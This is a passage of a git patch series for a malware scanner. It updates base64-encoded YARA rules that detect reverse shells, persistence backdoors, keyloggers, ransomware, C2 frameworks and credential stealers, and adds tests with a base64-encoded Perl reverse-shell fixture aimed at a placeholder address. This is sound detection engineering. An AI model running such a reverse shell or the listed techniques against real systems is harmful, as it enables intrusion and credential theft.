-ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv -YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb -U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg -ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh -c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m -aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k -XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg -ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55 -IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog -ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg -b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl -dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6 -DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt -cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By -ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv -eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz -XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL -ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp -dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y -DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh -dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5 -ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m -aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv -b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg -ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz -Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg -ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl -bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q -b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K -ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp -Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg -ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg -ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n -aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg -JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy -ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9 -IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk -ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs -aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN -CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu -b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl -cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2 -ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg -IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg -ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh -bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt -YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g -IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z -aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 -IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg -ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp -ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg -ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p -bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg -ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn -XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u -dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N -Cg== +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwyMDB9KGR1cDJ8c3Vi +cHJvY2Vzc3xvc1wuc3lzdGVtfHB0eVwuc3Bhd258ZXhlY3ZlKS9zDQogICAgICAgICRwZXJsX3Nv +Y2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy57MCwy +MDB9Y29ubmVjdFxzKlwoLnswLDIwMH0ob3BlblxzKlwoXHMqU1RESU58ZXhlY1xzKlwoKS9zDQog +ICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5v +Y2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xzKlwo +LipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3RccytT +eXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0X3No +ZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAgICAg +ICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3NoLw0K +ICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9vcl9w +ZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29y +IHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NI +IGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAi +bWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9 +ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAv +c2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAg +ID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lz +dCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0K +ICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0 +aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2Vy +dmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAg +ICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UN +CiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxl +LyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8u +KihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0g +L0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9m +IHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAg +ICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Ig +c291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVy +aXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQog +ICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9y +dC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNz +fGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlu +cHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMr +LS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlT +dGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlv +bjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7 +DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRl +cm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0g +Im1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRl +bmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3Nc +LndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAg +PSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4q +Yml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0g +L29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMp +WyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3Bl +blxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0 +aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAg +ICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0 +b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBj +YXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAg +ICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRo +dWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNv +YmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRl +ciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9t +ZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1w +aXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZl +cl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAg +ICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nh +c2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikv +IG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8 +UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFu +eSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAg +ZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBo +YXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3 +YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAu +NzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWdu +YXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9D +aHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0g +L2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMg +ID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAg +ICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlr +YXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAg +ICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMr +c2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRz +XC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 268120ae3..5967658f8 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -107,6 +107,50 @@ def _multiline_python_socket_reverse_shell_fixture() -> str: ).decode() +def _benign_python_socket_client_fixture() -> str: + """An ordinary multiline Python TCP client — connects, exchanges data, closes. + + No descriptor redirection (``os.dup2``) or shell execution follows the + ``connect()`` call, so this must NOT match ``reverse_shell``/``$python_socket`` + even though it shares the same ``socket.socket(...)`` / ``.connect(...)`` + shape as `_multiline_python_socket_reverse_shell_fixture`. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldApzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0" + "LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQpKQpzLnNlbmQoYiJHR" + "VQgLyBIVFRQLzEuMFxyXG5cclxuIikKZGF0YSA9IHMucmVjdig0MDk2KQpwcmludChkYXRhK" + "QpzLmNsb3NlKCkK" + ).decode() + + +def _multiline_perl_socket_reverse_shell_fixture() -> str: + """A Perl reverse shell: connect, redirect STDIN/STDOUT/STDERR onto the + socket, then exec a shell. Mirrors the descriptor-redirection + exec shape + `$perl_socket` must now require, matching the Python fixture's convention. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmlmIChjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJHBv" + "cnQsIGluZXRfYXRvbigkaXApKSkpIHsKICAgIG9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwog" + "ICAgb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOwogICAgb3BlbihTVERFUlIsICI+JlNPQ0tF" + "VCIpOwogICAgZXhlYygiL2Jpbi9zaCAtaSIpOwp9Cg==" + ).decode() + + +def _benign_perl_socket_client_fixture() -> str: + """An ordinary Perl TCP client — connects, exchanges a line, closes. + + No descriptor redirection or ``exec`` follows the ``connect()`` call, so + this must NOT match ``reverse_shell``/``$perl_socket``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKcHJpbnQgU09DS0VUICJoZWxsb1xuIjsKbXkgJGxpbmUgPSA8" + "U09DS0VUPjsKY2xvc2UoU09DS0VUKTsK" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -627,6 +671,50 @@ def test_reverse_shell_rule_matches_multiline_python_socket(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + def test_reverse_shell_rule_does_not_match_benign_python_socket_client(self): + """An ordinary multiline TCP client must not fire ``reverse_shell``. + + `$python_socket` requires ``socket.socket(...)``/``.connect(...)`` to + share a physical file, but stopping there also matches any plain + client that connects and exchanges data — see + `_benign_python_socket_client_fixture`. The string must additionally + require descriptor-redirection/shell evidence (``os.dup2``, + ``subprocess``, ``os.system``, ``pty.spawn``, ``execve``) after the + ``connect()`` call. + """ + findings = _run_builtin( + _benign_python_socket_client_fixture(), + "scripts/client.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_matches_multiline_perl_socket(self): + """`$perl_socket` must fire on a real multiline Perl reverse shell. + + See `_multiline_perl_socket_reverse_shell_fixture`: connect, then + redirect STDIN/STDOUT/STDERR onto the socket and exec a shell. + """ + findings = _run_builtin( + _multiline_perl_socket_reverse_shell_fixture(), + "scripts/backdoor.pl", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_does_not_match_benign_perl_socket_client(self): + """An ordinary Perl TCP client must not fire ``reverse_shell``. + + Before this fix, `$perl_socket` required only ``use Socket;`` plus a + ``socket(SOCK...`` call — it did not even require ``connect()`` — so + it matched any script that merely used the ``Socket`` module. See + `_benign_perl_socket_client_fixture`. + """ + findings = _run_builtin( + _benign_perl_socket_client_fixture(), + "scripts/client.pl", + ) + assert not _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From f106e999d29fc52f8a8219dc9fa0c42d472ed26d Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Wed, 23 Sep 2026 03:33:48 +0000 Subject: [PATCH 3/8] fix(yara): bind reverse-shell evidence to redirection-plus-shell, not a bare token $python_socket accepted any of dup2/subprocess/os.system/pty.spawn/execve as alternatives, so a client that ran an unrelated helper subprocess right after connect() (no descriptor redirection to the socket, no shell) still matched. $perl_socket had the same shape: open(STDIN,...) or exec( alone was enough, so reopening stdin without ever exec'ing, or exec'ing a non-shell helper, also matched. Require both pieces of evidence together instead of either alone: dup2 redirecting a descriptor onto the socket followed by a shell-exec marker (subprocess.call/Popen/run, os.system, pty.spawn, or execve invoking something ending in sh) for Python; open(STDIN|STDOUT|STDERR,...) followed by exec(...) of a shell for Perl. Adds four negative regressions matching the false positives named in review: a Python client running an unrelated helper subprocess, a Python client that reopens stdin without a shell, and the same two shapes in Perl. The existing positive/negative fixtures for both languages still pass unchanged. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 158 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 109 +++++++++++++- 2 files changed, 187 insertions(+), 80 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 7c16ae0b0..b5a2a2e49 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,80 +12,84 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwyMDB9KGR1cDJ8c3Vi -cHJvY2Vzc3xvc1wuc3lzdGVtfHB0eVwuc3Bhd258ZXhlY3ZlKS9zDQogICAgICAgICRwZXJsX3Nv -Y2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy57MCwy -MDB9Y29ubmVjdFxzKlwoLnswLDIwMH0ob3BlblxzKlwoXHMqU1RESU58ZXhlY1xzKlwoKS9zDQog -ICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5v -Y2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xzKlwo -LipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3RccytT -eXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0X3No -ZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAgICAg -ICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3NoLw0K -ICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9vcl9w -ZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29y -IHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NI -IGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAi -bWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9 -ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAv -c2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAg -ID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lz -dCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0K -ICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0 -aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2Vy -dmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAg -ICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UN -CiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxl -LyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8u -KihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0g -L0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9m 